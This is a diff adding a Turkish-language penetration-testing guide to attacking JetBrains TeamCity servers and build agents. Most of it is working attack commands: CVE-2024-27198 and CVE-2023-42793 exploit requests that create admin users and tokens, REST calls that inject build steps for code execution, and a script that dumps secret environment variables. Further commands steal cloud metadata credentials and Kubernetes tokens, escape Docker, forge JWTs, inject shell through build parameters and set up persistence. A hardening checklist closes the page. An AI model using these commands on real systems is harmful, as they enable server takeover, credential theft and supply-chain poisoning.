diff --git a/src/pentesting-ci-cd/teamcity-security/README.md b/src/pentesting-ci-cd/teamcity-security/README.md new file mode 100644 index 000000000..5b8fa062d --- /dev/null +++ b/src/pentesting-ci-cd/teamcity-security/README.md @@ -0,0 +1,650 @@ +# TeamCity Security + +{{#include ../../banners/hacktricks-training.md}} + +## Basic Information + +[TeamCity](https://www.jetbrains.com/teamcity/) JetBrains'in CI/CD server'ıdır. **TeamCity Cloud** veya **TeamCity On-Premises** olarak çalışabilir. Gerçek ortamlarda on-premises ürün en ilginç hedeftir çünkü genellikle private repositories, deployment credentials, internal networks ve cloud build agents ile bağlıdır. + +Bir TeamCity kurulumu genellikle şunlardan oluşur: + +- **TeamCity server**: Java web application ve scheduler. Users, permissions, projects, build configurations, VCS roots, tokens, artifacts metadata, build history ve integrations'ı saklar. Varsayılan HTTP portu **8111**'dir. +- **Projects and subprojects**: build configurations, templates, parameters, VCS roots, connections ve permissions için containers. +- **Build configurations**: VCS checkout rules, triggers, build steps, agent requirements, artifact rules, snapshot dependencies ve artifact dependencies tanımlayan jobs. +- **Pipelines / Kotlin DSL / XML settings**: build configuration UI'da yönetilebilir veya VCS içinde saklanabilir, genelde Kotlin DSL kullanılarak `.teamcity/` directory içinde tutulur. +- **Build agents**: server'ı poll eden, code checkout yapan, build settings ve secrets alan, build steps çalıştıran ve logs/artifacts'ı tekrar server'a gönderen worker machines. Bir agent normalde aynı anda bir build çalıştırır ve physical, VM, container veya cloud-launched olabilir. +- **Agent pools**: hangi projects'in hangi agents üzerinde çalışabileceğini kısıtlama yolu. Public/untrusted builds ile production deployment builds birlikte varsa bu kritiktir. +- **VCS roots and connections**: GitHub, GitLab, Bitbucket, Azure DevOps, Perforce, Subversion ve diğer repository integrations. Bunlar çoğu zaman PATs, refreshable tokens, SSH keys veya OAuth-backed tokens içerir. +- **Build parameters**: configurations ve builds için kullanılabilen values. `env.*` parameters environment variables olur, `system.*` parameters system properties olur ve password parameters maskelenir ama yine de build code tarafından kullanılabilir. + +> [!WARNING] +> TeamCity'nin kendi dokümantasyonuna göre, builds tarafından çalıştırılan code'u değiştirebilen users, build-agent OS user'ının yapabildiği her şeyi yapabilir, agent üzerindeki resources'a erişebilir, builds'lerinin çalıştığı configurations'ın settings'ini alabilir ve aynı agent'ı paylaşan diğer projects'i potansiyel olarak etkileyebilir. + +## Interesting Ports, Paths & Files +```bash +# Common TeamCity web ports +8111/tcp # Default HTTP TeamCity server +80/tcp # Often reverse-proxied TeamCity +443/tcp # HTTPS reverse proxy or configured HTTPS +``` +İlginç URL'ler: +```text +/login.html +/app/rest/server +/app/rest/swagger.json +/guestAuth/app/rest/server +/guestAuth/repository/download//:id/ +/admin/admin.html +/admin/diagnostic.jsp +/admin/agents.html +/admin/plugins.html +``` +Sunucu compromise sonrası ilginç local path'ler: +```text +# Linux defaults seen in common installs +/opt/TeamCity/logs/ +/opt/TeamCity/webapps/ROOT/plugins/ +/home/teamcity/.BuildServer/config/ +/home/teamcity/.BuildServer/plugins/ +/home/teamcity/.BuildServer/system/artifacts/ +/home/teamcity/.BuildServer/system/buildserver.data + +# Windows defaults seen in common installs +C:\TeamCity\logs\ +C:\TeamCity\webapps\ROOT\plugins\ +C:\ProgramData\JetBrains\TeamCity\config\ +C:\ProgramData\JetBrains\TeamCity\plugins\ +C:\ProgramData\JetBrains\TeamCity\system\artifacts\ +C:\ProgramData\JetBrains\TeamCity\system\buildserver.data +``` +Ajanda compromise sonrası ilginç local path'ler: +```text +/conf/buildAgent.properties +/logs/ +/work/ +/temp/ +/system/ +~/.git-credentials +~/.ssh/ +~/.docker/config.json +~/.npmrc +~/.m2/settings.xml +~/.aws/ +~/.config/gcloud/ +``` +## TeamCity’de Dikkate Alınması Gereken Permissions + +Kesin permission modeli özelleştirilebilir, ancak önemli varsayılan roles şunlardır: + +- **System Administrator**: tam server control. Adminler server settings değiştirebildiği, plugins upload edebildiği ve diagnostics erişebildiği için server OS compromise mümkün varsayın. +- **Project Administrator**: bir project’i kontrol eder ve genellikle o project içinde build configurations, parameters, VCS roots, features, triggers ve agent requirements oluşturabilir/düzenleyebilir. +- **Project Developer**: genellikle configuration settings’i görüntüleyebilir, builds çalıştırabilir ve build results ile etkileşime girebilir. Bu yine de sensitive olabilir çünkü configuration settings ve runtime data çoğu zaman secrets ifşa eder. +- **Project Viewer / Guest**: read-only access yine de build logs, artifacts, project names, branch names, internal hostnames ve dependency paths ifşa edebilir. + +> [!TIP] +> Bir pentest sırasında, "low-privileged TeamCity user" noktasında durmayın. O user custom builds çalıştırabiliyor mu, branches seçebiliyor mu, parameters özelleştirebiliyor mu, settings görüntüleyebiliyor mu, runtime parameters görebiliyor mu, artifacts indirebiliyor mu, ya da deployment configurations tetikleyebiliyor mu kontrol edin. + +## Initial Enumeration + +### Fingerprint Exposed TeamCity +```bash +export TC="http://teamcity.example.com:8111" + +curl -i "$TC/login.html" +curl -i "$TC/app/rest/server" +curl -i "$TC/guestAuth/app/rest/server" +curl -s "$TC/app/rest/swagger.json" | head +``` +Faydalı işaretler: + +- `TeamCity-Node-Id` HTTP header. +- Login page branding. +- `/app/rest/server` authentication gerektiğinde `401` döndürür. +- `/guestAuth/app/rest/server` guest access etkinse çalışır. + +### REST API Enumeration With A Token + +TeamCity REST API genellikle `Authorization: Bearer ` kullanır. +```bash +export TC="https://teamcity.example.com" +export TCTOKEN="TC..." + +alias tcurl='curl -sk -H "Authorization: Bearer $TCTOKEN" -H "Accept: application/json"' + +tcurl "$TC/app/rest/server" +tcurl "$TC/app/rest/users/current" +tcurl "$TC/app/rest/users/current/roles" +tcurl "$TC/app/rest/projects?fields=project(id,name,parentProjectId,href,webUrl)" +tcurl "$TC/app/rest/buildTypes?fields=buildType(id,name,projectId,paused,webUrl)" +tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))" +tcurl "$TC/app/rest/agents?fields=agent(id,name,type,connected,enabled,authorized,ip,href,pool(name),properties(property(name,value)))" +tcurl "$TC/app/rest/agentPools" +tcurl "$TC/app/rest/builds?locator=count:20&fields=build(id,number,status,state,branchName,buildTypeId,webUrl)" +``` +Bir build configuration için: +```bash +export BT="id:Project_Build" + +tcurl "$TC/app/rest/buildTypes/$BT" +tcurl "$TC/app/rest/buildTypes/$BT/parameters" +tcurl "$TC/app/rest/buildTypes/$BT/steps" +tcurl "$TC/app/rest/buildTypes/$BT/features" +tcurl "$TC/app/rest/buildTypes/$BT/triggers" +tcurl "$TC/app/rest/buildTypes/$BT/agent-requirements" +tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies" +tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies" +tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents" +``` +### Guest Access Abuse + +Guest login etkinleştirilmişse, TeamCity `/guestAuth/` URL'lerini destekler. Varsayılan olarak, guest kullanıcılar değiştirilmedikçe tüm projeler için Project Viewer rolüne sahiptir. +```bash +curl -sk "$TC/guestAuth/app/rest/projects" +curl -sk "$TC/guestAuth/app/rest/buildTypes" +curl -sk "$TC/guestAuth/app/rest/builds?locator=count:50" +``` +Şunları ara: + +- Gizli bilgilerin yanlışlıkla yazdırıldığı build logs. +- `.env`, packages, SBOMs, deployment manifests, Terraform plans, kubeconfigs, test reports, database dumps veya internal URLs içeren artifacts. +- cloud account names, production systems, regions veya internal service names ifşa eden Project/build names. +- Ayrıcalıklı developers veya service users kimliklerini gösteren commit metadata. + +Örnek artifact indirme formatı: +```bash +curl -O "$TC/guestAuth/repository/download/Project_Build/12345:id/artifact.zip" +``` +## Saldırılar + +### Unauthenticated Takeover: CVE-2024-27198 / CVE-2024-27199 + +TeamCity On-Premises sürümleri **2023.11.3 dahil** iki authentication bypass'tan etkilenmişti; bunlar **2023.11.4** içinde düzeltildi. CVE-2024-27198 kritik olanıdır çünkü authenticated REST endpoints'leri unauthenticated saldırganlara açabilir. + +Bypass'ı zararsız bir authenticated endpoint ile fingerprint edin: +```bash +curl -ik "$TC/hax?jsp=/app/rest/server;.jsp" +``` +Eğer server metadata kimlik doğrulama olmadan döndürülüyorsa, instance vulnerable demektir. Yaygın bir takeover yolu, bir admin user oluşturmak veya mevcut bir admin user için bir token mint etmek: +```bash +curl -ik "$TC/hax?jsp=/app/rest/users;.jsp" \ +-X POST \ +-H "Content-Type: application/json" \ +--data '{"username":"tc-redteam","password":"ChangeMe-12345!","email":"tc-redteam@example.com","roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}}' +``` + +```bash +curl -ik "$TC/hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp" -X POST +``` +Bundan sonra, doğrulanmış bir TeamCity administrator olarak devam edin: projects enumerate edin, secrets toplayın, agents üzerinde builds çalıştırın, artifacts inceleyin ve agents üzerinden cloud access kontrol edin. + +### Unauthenticated Takeover: CVE-2023-42793 + +TeamCity On-Premises versions **2023.05.4** öncesi CVE-2023-42793’den etkileniyordu. Pratik etkisi, TeamCity APIs üzerinden unauthenticated administrator-level access ve RCE idi. Yaygın olarak abuse edilen path, `/RPC2` ile biten bir route üzerinden token creation içeriyordu. +```bash +curl -ik -X POST "$TC/app/rest/users/id:1/tokens/RPC2" +``` +Bir incident etkisini değerlendiriyorsanız, exposure window çevresinde suspicious token creation, admin account creation, plugin upload/delete events ve process execution olup olmadığını kontrol edin. + +### Plugin Yükleyerek Admin RCE + +TeamCity server plugins, server functionality'yi genişleten ZIP packages'tır. Bir System Administrator, UI üzerinden **Administration -> Plugins** altında bir plugin upload edebilir, yükleyebilir ve server-side Java code çalıştırabilir. + +Abuse cases: + +- Doğrudan **TeamCity server** üzerinde, sadece bir agent'ta değil, malicious bir plugin upload etmek. +- Kısa ömürlü bir execution path olarak plugin load/delete kullanmak. +- Internal integration gibi görünen bir plugin üzerinden persistence oluşturmak. + +Inspect edilecek evidence: +```text +teamcity-activities.log +teamcity-server.log +/plugins/ +/config/disabled-plugins.xml +/system/caches/plugins.unpacked/ +/webapps/ROOT/plugins/ +``` +### Build Adımlarını Oluşturarak veya Değiştirerek RCE + +Bir build configuration oluşturabilir veya düzenleyebilirseniz, bir TeamCity agent sizin command execution hedefinizdir. **Command Line / Script** runner en doğrudan seçenektir. + +REST üzerinden bir command line step ekleyin: +```bash +curl -sk "$TC/app/rest/buildTypes/$BT/steps" \ +-X POST \ +-H "Authorization: Bearer $TCTOKEN" \ +-H "Content-Type: application/json" \ +-H "Accept: application/json" \ +--data '{ +"name": "diagnostics", +"type": "simpleRunner", +"properties": { +"property": [ +{"name": "script.content", "value": "id; uname -a; env | sort"} +] +} +}' +``` +Build'i başlat: +```bash +curl -sk "$TC/app/rest/buildQueue" \ +-X POST \ +-H "Authorization: Bearer $TCTOKEN" \ +-H "Content-Type: application/json" \ +-H "Accept: application/json" \ +--data '{"buildType":{"id":"Project_Build"}}' +``` +Bir agent üzerinde kullanışlı ilk komutlar: +```bash +id +hostname +pwd +env | sort +mount +ip addr || ifconfig +ip route || route print +find "$PWD" -maxdepth 3 -type f -name "*.env" -o -name "settings.xml" -o -name "config.json" +``` +Windows agent'ler: +```powershell +whoami /all +hostname +Get-ChildItem Env: | Sort-Object Name +ipconfig /all +route print +Get-ChildItem -Recurse -Force $env:USERPROFILE\.ssh,$env:USERPROFILE\.aws -ErrorAction SilentlyContinue +``` +### Daha İlginç Bir Agent Hedefle + +Build configuration’ları agent requirements içerebilir ve custom builds belirli bir agent seçmeye izin verebilir. Bu, bir agent production network erişimine, Docker erişimine, mobile signing keys, cloud roles’a veya deployment tooling’e sahip olduğunda önemlidir. + +Uyumlu agent’ları enumerate et: +```bash +tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents?fields=agent(id,name,ip,pool(name),properties(property(name,value)))" +``` +Belirli bir agent üzerinde, izinleriniz buna izin veriyorsa bir build kuyruğa alın: +```bash +curl -sk "$TC/app/rest/buildQueue" \ +-X POST \ +-H "Authorization: Bearer $TCTOKEN" \ +-H "Content-Type: application/json" \ +-H "Accept: application/json" \ +--data '{"buildType":{"id":"Project_Build"},"agent":{"id":"42"}}' +``` +Veya değerli bir agent class'ı zorlamak için bir agent requirement ekleyin: +```bash +curl -sk "$TC/app/rest/buildTypes/$BT/agent-requirements" \ +-X POST \ +-H "Authorization: Bearer $TCTOKEN" \ +-H "Content-Type: application/json" \ +-H "Accept: application/json" \ +--data '{ +"type":"equals", +"properties":{"property":[ +{"name":"property-name","value":"teamcity.agent.name"}, +{"name":"property-value","value":"prod-deploy-agent-01"} +]} +}' +``` +### Dump Build Parameters & Password Parameters + +Parameters kalıtsal olarak projects ve templates’den miras alınır, bu yüzden hem project hem de build configuration kapsamlarını enumerate edin: +```bash +tcurl "$TC/app/rest/projects/id:Project/parameters" +tcurl "$TC/app/rest/buildTypes/id:Project_Build/parameters" +``` +İlginç isimler: +```text +env.AWS_ACCESS_KEY_ID +env.AWS_SECRET_ACCESS_KEY +env.GITHUB_TOKEN +env.NPM_TOKEN +env.DOCKER_AUTH_CONFIG +system.deploy.password +system.oauth.clientSecret +vcsroot..password +teamcity.configuration.properties.file +``` +Önemli caveats: + +- Password parametreleri UI/loglarda maskelenir ama bunları meşru şekilde alan herhangi bir code, bunları exfiltrate edebilir veya transform edebilir. +- Project administrators çoğu zaman settings access üzerinden raw parameter values alabilir. +- TeamCity security notes, build code’u modify edebilen users’ın o build tarafından kullanılan password values değerlerini retrieve edebileceğini uyarır. +- Eğer versioned settings VCS içinde stored ise, settings repo’ya access’i olan users, server encryption configuration ve key exposure’a bağlı olarak scrambled/encrypted settings içinden values recover edebilir. + +Build-step exfil pattern: +```bash +python3 - <<'PY' +import base64, os, json +interesting = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["TOKEN","SECRET","PASSWORD","KEY","AWS","AZURE","GOOGLE","GITHUB","NPM","DOCKER"])} +print(base64.b64encode(json.dumps(interesting).encode()).decode()) +PY +``` +### Poison Versioned Settings / Kotlin DSL + +Versioned settings etkinse ve TeamCity’nin `.teamcity/` için güvendiği branch/repository’ye yazabiliyorsanız, pipeline tanımının kendisini değiştirebilirsiniz. + +Tipik hedefler: + +- Bir build configuration’a yeni bir `script` step eklemek. +- Daha ayrıcalıklı bir agent üzerinde çalışmak için `agentRequirements` değiştirmek. +- Hassas dosyaları publish etmek için artifact rules eklemek. +- Başka bir build’den veri çekmek için snapshot/artifact dependencies eklemek. +- Persistence için VCS triggers eklemek. +- VCS roots veya checkout rules değiştirmek. + +Minimal Kotlin DSL malicious step: +```kotlin +import jetbrains.buildServer.configs.kotlin.* +import jetbrains.buildServer.configs.kotlin.buildSteps.script + +object Build : BuildType({ +name = "Build" +steps { +script { +name = "diagnostics" +scriptContent = "id; env | base64" +} +} +}) +``` +> [!CAUTION] +> Bu, TeamCity'deki en yüksek etkili misconfigurations'lardan biridir: build ayarlarını application source ile aynı repository'de saklamak, source branch'i değiştirebilen herkesin CI/CD control plane'i de değiştirebilmesi anlamına gelir. + +### Pull Request / Untrusted Build Abuse + +TeamCity, GitHub, GitLab, Bitbucket, Azure DevOps ve JetBrains Space'den pull requests build edebilir. Eğer public repository, pull requests'i **Everybody** üzerinden build edecek şekilde yapılandırılmışsa, dış bir attacker bir PR açarak TeamCity agent üzerinde code execution elde edebilir. + +Şunları kontrol edin: + +- Permissive author filter'lara sahip Pull Requests build feature. +- `refs/pull/*` gibi pull request branch'leriyle eşleşen VCS triggers. +- Eksik veya devre dışı bırakılmış **Untrusted Builds** review. +- Trusted/prod builds ile aynı pools üzerinde çalışan PR builds. +- PR builds için erişilebilir password parameters veya deployment credentials. +- PR branches'den yüklenen versioned settings. + +Untrusted code'dan abuse primitives: +```bash +env | sort +echo "##teamcity[publishArtifacts '$PWD => workspace.zip']" +echo "##teamcity[setParameter name='env.PATH' value='/tmp/bin:%env.PATH%']" +``` +Ayrıca PR tarafından kontrol edilen değerleri interpolate eden build scriptlerini de inceleyin: +```text +%teamcity.pullRequest.title% +%teamcity.pullRequest.source.branch% +%teamcity.pullRequest.target.branch% +%teamcity.build.branch% +``` +Eğer bu değerler shell, PowerShell, SQL, Docker tags, package names veya deployment arguments içine quoting/validation olmadan eklenirse, command injection ve logic manipulation test edin. + +### Run Custom Build Parameter Injection + +Bir build configuration'ı edit edemeyen users, yine de modified branch, agent veya parameter values ile custom builds çalıştırabilme yeteneğine sahip olabilir. +```bash +curl -sk "$TC/app/rest/buildQueue" \ +-X POST \ +-H "Authorization: Bearer $TCTOKEN" \ +-H "Content-Type: application/json" \ +-H "Accept: application/json" \ +--data '{ +"buildType":{"id":"Project_Build"}, +"branchName":"refs/heads/attacker-controlled-branch", +"properties":{"property":[ +{"name":"env.DEPLOY_ENV","value":"prod; id #"}, +{"name":"system.release.version","value":"1.2.3$(id)"} +]} +}' +``` +Scriptler gibi şunlara bakın: +```bash +deploy --env %env.DEPLOY_ENV% +docker build -t registry/app:%system.release.version% . +git checkout %teamcity.build.branch% +``` +### Service Message Abuse + +TeamCity, build adımlarından gelen özel biçimlendirilmiş çıktıyı ayrıştırır. Eğer saldırgan kontrollü kod bir build içinde çalışırsa, sonraki adımları ve server'ın build hakkındaki anlayışını etkileyebilir. + +Useful messages: +```bash +# Publish arbitrary files as artifacts +echo "##teamcity[publishArtifacts '/etc/passwd => loot/system.txt']" + +# Modify parameters for following steps +echo "##teamcity[setParameter name='env.NEXT_STEP_FLAG' value='attacker-controlled']" + +# Poison the build number displayed/published downstream +echo "##teamcity[buildNumber '9999-backdoored']" + +# Hide noisy output in collapsed blocks +echo "##teamcity[blockOpened name='integration tests']" +echo "##teamcity[blockClosed name='integration tests']" +``` +Bu, downstream release job'lar build durumuna, build numarasına, tag'lere, artifact adlarına veya upstream job'dan gelen output parameters'a güvendiğinde daha tehlikeli hale gelir. + +### Artifact & Dependency Poisoning + +TeamCity build chain'leri çoğu zaman artifact'leri build'ler arasında taşır. Yetkili bir downstream build tarafından tüketilen artifact'leri yayınlayan bir upstream build'i etkileyebiliyorsanız, şunları poison etmeye çalışın: + +- JAR/WAR/NuGet/npm/PyPI packages. +- Docker build contexts. +- Terraform plan files. +- Helm charts ve Kubernetes manifests. +- SBOM/provenance files. +- Sonraki adımlar tarafından tüketilen test fixtures veya generated code. + +Bir build'den kontrollü bir artifact yayınlayın: +```bash +mkdir -p out +cp payload.jar out/app.jar +echo "##teamcity[publishArtifacts 'out/** => release.zip']" +``` +Ardından artifact dependencies’lerini inceleyin: +```bash +tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies" +tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies" +``` +### Agent Cloud Pivoting + +Eğer agent AWS, Azure, GCP, Kubernetes veya dahili bir VM ağında çalışıyorsa, build bir pivot noktasıdır. + +AWS IMDS: +```bash +TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ +ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" +``` +IMDSv1 izinliyse yedek: +```bash +ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" +``` +Azure IMDS: +```bash +curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01" +curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" +``` +GCP metadata: +```bash +curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" +SA=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/") +curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}token" +``` +Kubernetes: +```bash +ls -la /var/run/secrets/kubernetes.io/serviceaccount/ +cat /var/run/secrets/kubernetes.io/serviceaccount/token +cat /var/run/secrets/kubernetes.io/serviceaccount/namespace +``` +Docker escape kontrolleri: +```bash +ls -la /var/run/docker.sock +docker ps +docker run --rm -it -v /:/host alpine chroot /host sh +``` +### İç Services'e Pivot Edin + +Build agents genellikle package registries, artifact stores, deployment APIs, databases ve internal admin panels'e erişebilir. +```bash +for h in vault.service.consul nexus.internal registry.internal kube-api.internal grafana.internal; do +echo "### $h" +curl -sk --connect-timeout 2 "https://$h/" | head +done +``` +TeamCity parametrelerinden, cloud secret store'lardan, artifact'lerden veya repo dosyalarından paylaşılan bir JWT/HMAC secret çaldıktan sonra, zayıf internal servisler için token forge et: +```python +import jwt, time +secret = "leaked-hs256-secret" +payload = {"sub":"admin","role":"admin","iat":int(time.time()),"exp":int(time.time())+3600} +print(jwt.encode(payload, secret, algorithm="HS256")) +``` +### VCS Root & Repository Credential Abuse + +VCS root'ları ve connections genellikle TeamCity'nin kendisinden daha değerlidir. + +Şunları arayın: + +- username/password veya PAT kullanan HTTP(S) VCS root'ları. +- TeamCity'ye yüklenmiş SSH private key'ler. +- GitHub App / OAuth / refreshable token connections. +- Commit Status Publisher token'ları. +- Pull Request feature token'ları. +- repository'lere, tag'lere, releases'e, packages'a veya workflow dosyalarına yazan build step'leri. + +REST enumeration: +```bash +tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))" +tcurl "$TC/app/rest/projects/id:Project/features" +``` +Uzlaşma sonrası etki: + +- Depolara malicious commit'ler/tag'ler push et. +- release tag'lerini taşı. +- malicious package sürümleri publish et. +- tester'ın başlangıçta erişimi olmayan private repo'ları oku. +- GitHub Actions gibi başka bir platform için CI/CD config ekle. +- service identity write access'e sahipse onu kullanarak PR aç/birleştir. + +### Debug & Diagnostics Endpoints + +Bazı dangerous debug işlevleri admin permissions ve internal properties tarafından korunur. Etkinleştirilirse TeamCity database'ini veya process execution'ı expose edebilir. + +Örnek database query ayarı: +```properties +rest.debug.database.allow.query.prefixes=select +``` +Eğer bu etkinleştirilmişse, bir admin token iç verileri sorgulayabilir: +```bash +curl -sk "$TC/app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS" \ +-H "Authorization: Bearer $TCTOKEN" +``` +Ayrıca, `/app/rest/debug/processes` yolunun rolünüz için erişilebilir olup olmadığını inceleyin. Etkin herhangi bir debug endpoint’i potansiyel doğrudan server compromise yolu olarak değerlendirin. + +### Agent-Server Trust & Rogue Agent Açılar + +Agents server’ı yoklar ve build ayarları, repository kaynakları, access credentials/keys, build logs ve artifact verilerini alır. Agent-to-server communication plain HTTP ise veya bir attacker network path’i kontrol ediyorsa, secrets ve source code ifşa olabilir. + +Check: +```bash +grep -i '^serverUrl=' /conf/buildAgent.properties +grep -i 'authorizationToken\|name=' /conf/buildAgent.properties +``` +Abuse yolları: + +- Bir agent’ı kompromize edin ve agent’ler yeniden kullanılıyorsa diğer projeler için work directories’i inceleyin. +- Clean checkout zorunlu değilse, sonraki builds için checked-out source veya cached dependencies’i değiştirin. +- Agent authorization token/configuration’ını çalın. +- Project agents’ı authorize etme yetkiniz varsa ya da admins yeni agent’leri otomatik authorize ediyorsa, rogue agent kaydedin. +- Kompromize edilmiş bir host’tan mevcut bir agent gibi davranın. + +### Logs, Artifacts & Data Directory As Secrets + +TeamCity security notes, TeamCity Data Directory, server logs veya build artifacts’a read access’in secrets ifşa edebileceğini ya da administrator escalation’a yol açabileceğini açıkça uyarır. + +Belirli bir escalation yolu **Super User Access**’tir: TeamCity, `teamcity-server.log` içine yazılan bir token ile system administrator olarak login’e izin verebilir. Eğer logs zayıf korunmuş bir log platformuna gönderiliyorsa ya da non-admin OS users tarafından okunabiliyorsa, super-user tokens arayın. + +Hunt: +```bash +grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" /opt/TeamCity/logs 2>/dev/null +grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" ~/.BuildServer/config ~/.BuildServer/system/artifacts 2>/dev/null +``` +Build logları sıklıkla şunları içerir: + +- Expanded command satırları. +- Argümanlarda credentials içeren başarısız deployment komutları. +- Docker login çıktısı. +- npm/pip/maven publishing hataları. +- Cloud CLI debug çıktısı. +- Internal service URL'leri. + +### Persistence Fikirleri + +Yetkilendirilmiş bir red team assessment sırasında faydalı persistence teknikleri: + +- Bir service/admin user altında, makul görünen bir adla bir access token oluşturun. +- Nadiren gözden geçirilen bir configuration'a düşük gürültülü bir build trigger ekleyin. +- Var olan bir deployment step tarafından kullanılan bir project parameter ekleyin. +- Daha sonra yeniden etkinleştirilebilecek gizli veya disabled bir build step ekleyin. +- Meşru bir project altında yeni bir VCS root veya connection ekleyin. +- Dahili bir integration gibi görünen bir plugin ekleyin. +- Builds'i attacker-controlled infrastructure'a yönlendiren yeni bir agent pool / cloud profile / agent requirement ekleyin. +- Bir settings repository'sinde Kotlin DSL'yi değiştirin. + +TeamCity compromise'ından sonra defender'ların incelemesi gereken şeyler: +```text +teamcity-activities.log +teamcity-server.log +teamcity-javaLogging*.log +User access tokens +Recently created users/groups/roles +Plugin upload/load/delete events +Build configuration diffs +Versioned settings commits +VCS root credential changes +Agent authorization changes +Build triggers and schedules +Suspicious artifact publications +``` +## Hardening Checklist + +- TeamCity On-Premises sürümünü tamamen güncel tutun; eski auth bypass'ları olan exposed sunucular yüksek değerli targets'tır. +- Güçlü access controls, SSO/MFA, network filtering ve hızlı patching yoksa TeamCity'yi doğrudan internet'e expose etmeyin. +- Production sunucularda Guest Login'i disable edin. +- `teamcity.superUser.disable=true` ile Super User Access'i disable edin; özellikle server logs export ediliyorsa veya geniş ölçüde okunabiliyorsa. +- Geniş Project Administrator yetkileri yerine least-privilege gruplar ve custom roles kullanın. +- REST automation için kısa ömürlü, scoped tokens kullanın. +- Versioned settings kullanıyorsanız build settings'i ayrı ve protected bir repository'de tutun. +- Fork'lardan gelen PR builds'i hostile olarak değerlendirin; Untrusted Builds, manual approval ve isolated disposable agents kullanın. +- Public/untrusted builds'i deployment builds'ten dedicated agent pools ile ayırın. +- Sensitive builds için disposable agents kullanın ve clean checkout zorunlu kılın. +- Parameters içinde uzun ömürlü cloud/static credentials kullanmaktan kaçının; mümkünse cloud OIDC/workload identity tercih edin. +- AWS agents üzerinde IMDSv2 isteyin ve containers'tan metadata access'i kısıtlayın. +- Agents'ları düşük yetkili OS users olarak çalıştırın ve kesinlikle gerekli değilse Docker socket mount etmeyin. +- Agent-to-server traffic için HTTPS kullanın. +- Plugin installation'ı trusted admins ile sınırlayın ve plugin değişikliklerini review edin. +- Server logs ve TeamCity Data Directory'nin yalnızca TeamCity server OS account'u ve admins tarafından okunabilir olmasını sağlayın. +- Default scrambling mechanism'e güvenmek yerine secure values için custom encryption key kullanın. +- Investigation için build history/logs'u saklayın ve builds silme izinlerini kısıtlayın. + +## References + +- [JetBrains - TeamCity Build Agents](https://www.jetbrains.com/help/teamcity/build-agent.html) +- [JetBrains - TeamCity REST API](https://www.jetbrains.com/help/teamcity/rest/teamcity-rest-api-documentation.html) +- [JetBrains - Manage Build Configuration Details via REST](https://www.jetbrains.com/help/teamcity/rest/manage-build-configuration-details.html) +- [JetBrains - Build Parameters](https://www.jetbrains.com/help/teamcity/configuring-build-parameters.html) +- [JetBrains - Typed / Password Parameters](https://www.jetbrains.com/help/teamcity/typed-parameters.html) +- [JetBrains - Security Notes](https://www.jetbrains.com/help/teamcity/security-notes.html) +- [JetBrains - Pull Requests](https://www.jetbrains.com/help/teamcity/pull-requests.html) +- [JetBrains - Untrusted Builds](https://www.jetbrains.com/help/teamcity/untrusted-builds.html) +- [JetBrains - Service Messages](https://www.jetbrains.com/help/teamcity/service-messages.html) +- [JetBrains - TeamCity Data Directory](https://www.jetbrains.com/help/teamcity/teamcity-data-directory.html) +- [JetBrains - Installing Additional Plugins](https://www.jetbrains.com/help/teamcity/installing-additional-plugins.html) +- [JetBrains - CVE-2024-27198 and CVE-2024-27199 advisory](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/) +- [Rapid7 - CVE-2024-27198 and CVE-2024-27199 technical analysis](https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/) +- [SonarSource - CVE-2023-42793 TeamCity vulnerability](https://www.sonarsource.com/blog/teamcity-vulnerability) +- [CISA - SVR actors exploiting TeamCity CVE-2023-42793](https://www.cisa.gov/news-events/alerts/2023/12/13/cisa-and-partners-release-advisory-russian-svr-affiliated-cyber-actors-exploiting-cve-2023-42793) + +{{#include ../../banners/hacktricks-training.md}}